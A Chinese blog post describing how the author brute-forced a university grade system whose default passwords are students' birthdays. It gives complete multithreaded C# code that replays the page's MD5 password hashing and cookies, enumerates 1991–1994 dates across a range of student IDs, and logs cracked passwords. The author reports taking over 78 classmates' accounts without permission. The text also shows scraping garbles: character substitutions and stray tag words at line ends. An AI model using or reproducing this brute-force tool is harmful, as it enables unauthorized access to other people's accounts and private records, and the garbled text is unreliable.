背景介绍html
咱们学校的教务系统的是以学生学号做为登录帐号,初始密码是本身的生日。服务器
一点点想法cookie
每次期末查成绩的时候,我都会有一个想法,要是我能跑到系统后台,把本身的成绩修改一下,那该时间多么舒坦的事情啊。固然,我目前还并无这么作。^_^ 光看本身的成绩不过瘾,有时候还想看下同窗的成绩。怎么办呢?忽然,我发现我历来没有改过个人密码,那会不会有不少人像我这样,没有改密码呢?若是是这样,那么密码就应该主要局限于1991年到1994年的全部日期了,空间集就大大减少了。那我是否是能够暴力得进行破解呢?若是这样就直接不停地给服务器发送http数据包,并分析服务器相应的结果,不就能够了么?好了,基本的思路我有了,因为只是在应用层上作文章,我打算用C#实现。网络
开始尝试,发现困难多线程
我利用fiddle捕获了点击登陆按钮后,发送给服务器的数据结果如图:app
这是HTTP数据包的头部,另外post的数据为:框架
遮住的部分是个人学号,结果我发现password发送的竟然不是个人生日,而是一串很长的字母数字串,因而我查看网页源码,发现里面有一段这样的的js语句:ide
<form name="frmLogin" method="post" action="./Servlet/UsersControl" onsubmit="return selectType();"> ……………………………… </form> function selectType() { ………… change(); } function change() { var pw = document.frmLogin.password.value; pw = hex_md5(pw); pw = hex_md5(pw+sharedValue); //用共享数值再次加密 document.frmLogin.password.value = pw ; }
简单的说一下这一段的意思,form就是咱们提交的表单,点击登陆按钮以前调用 selectType(),selectType()在代码的最后面调用了change()函数,而change()函数改变了咱们提交给服务器的密码值。并且在change()函数里shareValue这个值每次请求,服务器返回的值是不同的,服务器经过这个值来对密码进行加密。这下算是总算明白为何会提交一串看不懂的数字字母了(并且每次还不同,由于shareValue每次都不同)。函数
进一步挖掘,发现hex_md5这个函数,在一个js文件里面,这个文件里面存在这一下加密函数,对输入参数作了很复杂的变换,我简单地看了一下里面的逻辑,发现都是一点函数的调用,并无涉及到其余的文件与资源。到这里,咱们已经基本了解了整个加密过程。因而,只要咱们按照这样的顺序对密码进行一样的处理,就能获得正确的密码。而在C#有个开源项目 Javascript .NET,能够经过它去调用并执行Js。post
但问题并无这么简单,细心的你观察Http数据包头部能够发现里面的cookie有三个参数,并且前两个是经过Js直接设置的,最后一个是服务器设置的。因此经过C#中的HttpWebRequest对象请求,只能获得最后一个JSESSIONID的值,例外两个须要在程序里面另外设置。
最终实现
实现框架:
for :date从1991到1994年全部的日期
if(Crack(学号,date)){
破解成功;
}
bool Crack(学号,日期){
构造合适的HttpWebRequest对象请求登录页面;
分析网页代码获得shareValue的值并与日期一块儿传递给加密函数获得Post数据里面的password;
将获得的cookie值提取出来,赋给下一次请求的HttpWebRequest对象,同时添加另外两个cookie值;
再次发起请求经过分析服务器相应判断该日期是否正确,正确返回true,不正确返回false;
}
实践中发现单纯使用这种方式破解一个帐号的速度大约是30分钟,主要缘由是每次网络请求的开销比较大。后来我在原来思路的基础上,加入了多线程的方法,把破解速度提升到平均每3-5分钟破解一个。
具体代码:
1 public class Date { 2 public int y1; 3 public int y2; 4 public int m1; 5 public int m2; 6 public int d1; 7 public int d2; 8 public string stuNumber; 9 10 public Date(int a, int b, int c, int d, int e, int f,string num) { 11 y1 = a; 12 m1 = b; 13 d1 = c; 14 y2 = d; 15 m2 = e; 16 d2 = f; 17 stuNumber = num; 18 } 19 }
这个类表明待破解的学号,以及相应的日期区间 从y1-m1-d1到y2-m2-d2。
1 static private bool func(string stunum, string birth) 2 { 3 try 4 { 5 HttpWebRequest rqst = (HttpWebRequest)WebRequest.Create("http://********************"); 6 rqst.CookieContainer = new CookieContainer(); 7 rqst.Accept = "text/html, application/xhtml+xml, */*"; 8 rqst.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"; 9 rqst.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; 10 rqst.Headers["Accept-Language"] = "zh-CN,zh;q=0.3"; 11 rqst.Method = "GET"; 12 rqst.KeepAlive = true; 13 14 HttpWebResponse httpWebResponse = (HttpWebResponse)rqst.GetResponse(); 15 var ttt = httpWebResponse.Cookies; 16 Cookie cookie1 = ttt[0]; 17 18 Stream responseStream = httpWebResponse.GetResponseStream(); 19 StreamReader streamReader = new StreamReader(responseStream, Encoding.ASCII); 20 string html = streamReader.ReadToEnd(); 21 22 StreamReader sr = new StreamReader("md5.js"); 23 string md5 = sr.ReadToEnd(); 24 var lines = html.Split('\n'); 25 string temp = lines[406]; 26 var key = temp.Substring(18); 27 28 using (JavascriptContext ctx = new JavascriptContext()) 29 { 30 var i = ctx.Run(md5); 31 ctx.Run("var sharedValue = " + key + ";" + "pw = '" + birth + "';pw = hex_md5(pw);pw = hex_md5(pw+sharedValue);"); 32 var pw = ctx.GetParameter("pw"); 33 34 CookieContainer objcok = new CookieContainer(); 35 objcok.Add(new Uri("http://****************"), new Cookie("cck_lasttime", "1421808890459")); 36 objcok.Add(new Uri("http://*****************"), new Cookie("cck_count", "0")); 37 objcok.Add(new Uri("*********************"), new Cookie(cookie1.Name.ToString(), cookie1.Value.ToString())); 38 39 HttpWebRequest rqst3 = (HttpWebRequest)WebRequest.Create("http://**************"); 40 rqst3.Method = "POST"; 41 rqst3.ContentType = "application/x-www-form-urlencoded"; 42 rqst3.Referer = "http://****************"; 43 rqst3.Accept = "text/html, application/xhtml+xml, *?*"; 44 rqst3.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"; 45 rqst3.ServicePoint.ConnectionLimit = 300; 46 rqst3.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; 47 rqst3.Headers["Accept-Language"] = "zh-CN,zh;q=0.3"; 48 rqst3.CookieContainer = new CookieContainer(); 49 rqst3.CookieContainer = objcok; 50 51 52 Encoding encoding = Encoding.ASCII; 53 string postDataStr3 = "uid=" + stunum + "&password=" + pw + "&sltType=%D1%A7+%C9%FA&Submit=%C8%B7+%B6%A8&command=studentLogin"; 54 byte[] postData = encoding.GetBytes(postDataStr3); 55 rqst3.ContentLength = postData.Length; 56 Stream requestStream = rqst3.GetRequestStream(); 57 requestStream.Write(postData, 0, postData.Length); 58 59 HttpWebResponse httpWebResponse3 = (HttpWebResponse)rqst3.GetResponse(); 60 Stream responseStream3 = httpWebResponse3.GetResponseStream(); 61 StreamReader streamReader3 = new StreamReader(responseStream3, Encoding.GetEncoding("gb2312")); 62 string html2 = streamReader3.ReadToEnd(); 63 if (httpWebResponse3.ResponseUri.ToString() == "************************") 64 return true; 65 } 66 return false; 67 } 68 catch (Exception e) { 69 Console.WriteLine("error:" +stunum + '\t' + birth); 70 return false; 71 } 72 }
这个是上面所说的的Crack函数;
1 static public void threadFunc(object da){ 2 Date date = (Date)da; 3 for (int y = date.y1; y <= date.y2; y++) 4 { 5 for (int m = date.m1; m <= date.m2; m++) 6 { 7 for (int d = date.d1; d <= date.d2; d++) 8 { 9 if (flag == 1) 10 return; 11 StringBuilder tempStr = new StringBuilder(); 12 tempStr.Append(y.ToString()); 13 if (m < 10) 14 { 15 tempStr.Append("0" + m.ToString()); 16 } 17 else 18 { 19 tempStr.Append(m.ToString()); 20 } 21 if (d < 10) 22 { 23 tempStr.Append("0" + d.ToString()); 24 } 25 else 26 { 27 tempStr.Append(d.ToString()); 28 } 29 if (func(date.stuNumber, tempStr.ToString())) 30 { 31 psword = tempStr.ToString(); 32 flag = 1; 33 break; 34 } 35 } 36 if (flag == 1) break; 37 } 38 if (flag == 1) break; 39 } 40 }
多线程的线程函数,经过传递参数的不一样,对不一样时间区间同时破解。
1 static void Main(string[] args) 2 { 3 for (int num = ******; num < ******; num++) { 4 Console.WriteLine("0" + num); 5 FileStream fs = new FileStream("dic.txt", FileMode.Append); 6 StreamWriter sw = new StreamWriter(fs, Encoding.Default); 7 Date date1 = new Date(1991, 1, 1, 1991, 3, 31,"0" + num); 8 Date date2 = new Date(1991, 4, 1, 1991, 6, 30, "0" + num); 9 Date date3 = new Date(1991, 7, 1, 1991, 9, 30, "0" + num); 10 Date date4 = new Date(1991, 10, 1, 1991, 12, 31, "0" + num); 11 Date date5 = new Date(1992, 1, 1, 1992, 3, 31, "0" + num); 12 Date date6 = new Date(1992, 4, 1, 1992, 6, 30, "0" + num); 13 Date date7 = new Date(1992, 7, 1, 1992, 9, 30, "0" + num); 14 Date date8 = new Date(1992, 10, 1, 1992, 12, 31, "0" + num); 15 Date date9 = new Date(1993, 1, 1, 1993, 3, 31, "0" + num); 16 Date date10 = new Date(1993, 4, 1, 1993, 6, 30, "0" + num); 17 Date date11 = new Date(1993, 7, 1, 1993, 9, 30, "0" + num); 18 Date date12 = new Date(1993, 10, 1, 1993, 12, 31, "0" + num); 19 Date date13 = new Date(1994, 1, 1, 1994, 3, 31, "0" + num); 20 Date date14 = new Date(1994, 4, 1, 1994, 6, 30, "0" + num); 21 22 Thread thread1 = new Thread(new ParameterizedThreadStart(threadFunc)); 23 Thread thread2 = new Thread(new ParameterizedThreadStart(threadFunc)); 24 Thread thread3 = new Thread(new ParameterizedThreadStart(threadFunc)); 25 Thread thread4 = new Thread(new ParameterizedThreadStart(threadFunc)); 26 Thread thread5 = new Thread(new ParameterizedThreadStart(threadFunc)); 27 Thread thread6 = new Thread(new ParameterizedThreadStart(threadFunc)); 28 Thread thread7 = new Thread(new ParameterizedThreadStart(threadFunc)); 29 Thread thread8 = new Thread(new ParameterizedThreadStart(threadFunc)); 30 Thread thread9 = new Thread(new ParameterizedThreadStart(threadFunc)); 31 Thread thread10 = new Thread(new ParameterizedThreadStart(threadFunc)); 32 Thread thread11 = new Thread(new ParameterizedThreadStart(threadFunc)); 33 Thread thread12 = new Thread(new ParameterizedThreadStart(threadFunc)); 34 Thread thread13 = new Thread(new ParameterizedThreadStart(threadFunc)); 35 Thread thread14 = new Thread(new ParameterizedThreadStart(threadFunc)); 36 37 thread1.Start(date1); 38 thread2.Start(date2); 39 thread3.Start(date3); 40 thread4.Start(date4); 41 thread5.Start(date5); 42 thread6.Start(date6); 43 thread7.Start(date7); 44 thread8.Start(date8); 45 thread9.Start(date9); 46 thread10.Start(date10); 47 thread11.Start(date11); 48 thread12.Start(date12); 49 thread13.Start(date13); 50 thread14.Start(date14); 51 52 thread1.Join(); 53 thread2.Join(); 54 thread3.Join(); 55 thread4.Join(); 56 thread5.Join(); 57 thread6.Join(); 58 thread7.Join(); 59 thread8.Join(); 60 thread9.Join(); 61 thread10.Join(); 62 thread11.Join(); 63 thread12.Join(); 64 thread13.Join(); 65 thread14.Join(); 66 67 if (flag == 1) { 68 sw.WriteLine("0" + num + '\t' + psword); 69 flag = 0; 70 } 71 sw.Close(); 72 fs.Close(); 73 } 74 }
主函数写得有点丑。你们请见谅,若是你们有更优雅的方法实现,能够指教一下。
大体的过程就是这样,最后说说成果吧,我对咱们班100来号人的帐号进行了尝试,结果破解了78位同窗的帐号,这个过程大概花了一整个下午的时间。原来大部分人都和我同样,没有改密码。在此提醒哪些不应初始密码的同窗,不应初始密码,就至关于告诉了别人你的密码空间是什么样的,这将大大下降破解的时间,因此但愿可以引发你们对修改密码必要性的重视。